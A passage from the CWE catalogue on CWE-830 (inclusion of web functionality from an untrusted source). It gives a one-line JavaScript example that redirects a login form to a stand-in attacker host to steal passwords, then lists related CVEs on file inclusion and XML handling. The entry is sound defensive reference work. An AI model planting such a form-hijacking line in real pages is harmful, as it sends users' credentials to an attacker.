1746
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
This line of javascript changes the login form's original action target from the original website to an
attack site. As a result, if a user attempts to login their username and password will be sent directly
to the attack site.
Observed Examples
Reference Description
CVE-2010-2076 Product does not properly reject DTDs in SOAP messages, which allows
remote attackers to read arbitrary files, send HTTP requests to intranet
servers, or cause a denial of service.
https://www.cve.org/CVERecord?id=CVE-2010-2076
CVE-2004-0285 Modification of assumed-immutable configuration variable in include file allows
file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2004-0285
CVE-2004-0030 Modification of assumed-immutable configuration variable in include file allows
file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2004-0030
CVE-2004-0068 Modification of assumed-immutable configuration variable in include file allows
file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2004-0068
CVE-2005-2157 Modification of assumed-immutable configuration variable in include file allows
file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2005-2157
CVE-2005-2162 Modification of assumed-immutable configuration variable in include file allows
file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2005-2162
CVE-2005-2198 Modification of assumed-immutable configuration variable in include file allows
file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2005-2198
CVE-2004-0128 Modification of assumed-immutable variable in configuration script leads to file
inclusion.
https://www.cve.org/CVERecord?id=CVE-2004-0128
CVE-2005-1864 PHP file inclusion.
https://www.cve.org/CVERecord?id=CVE-2005-1864
CVE-2005-1869 PHP file inclusion.
https://www.cve.org/CVERecord?id=CVE-2005-1869
CVE-2005-1870 PHP file inclusion.
https://www.cve.org/CVERecord?id=CVE-2005-1870
CVE-2005-2154 PHP local file inclusion.
https://www.cve.org/CVERecord?id=CVE-2005-2154
CVE-2002-1704 PHP remote file include.
https://www.cve.org/CVERecord?id=CVE-2002-1704
CVE-2002-1707 PHP remote file include.
https://www.cve.org/CVERecord?id=CVE-2002-1707
CVE-2005-1964 PHP remote file include.
https://www.cve.org/CVERecord?id=CVE-2005-1964
CVE-2005-1681 PHP remote file include.
https://www.cve.org/CVERecord?id=CVE-2005-1681
CVE-2005-2086 PHP remote file include.
https://www.cve.org/CVERecord?id=CVE-2005-2086
CVE-2004-0127 Directory traversal vulnerability in PHP include statement.
https://www.cve.org/CVERecord?id=CVE-2004-0127
CVE-2005-1971 Directory traversal vulnerability in PHP include statement.
CWE Version 4.14
CWE-830: Inclusion of Web Functionality from an Untrusted Source
CWE-830: Inclusion of Web Functionality from an Untrusted Source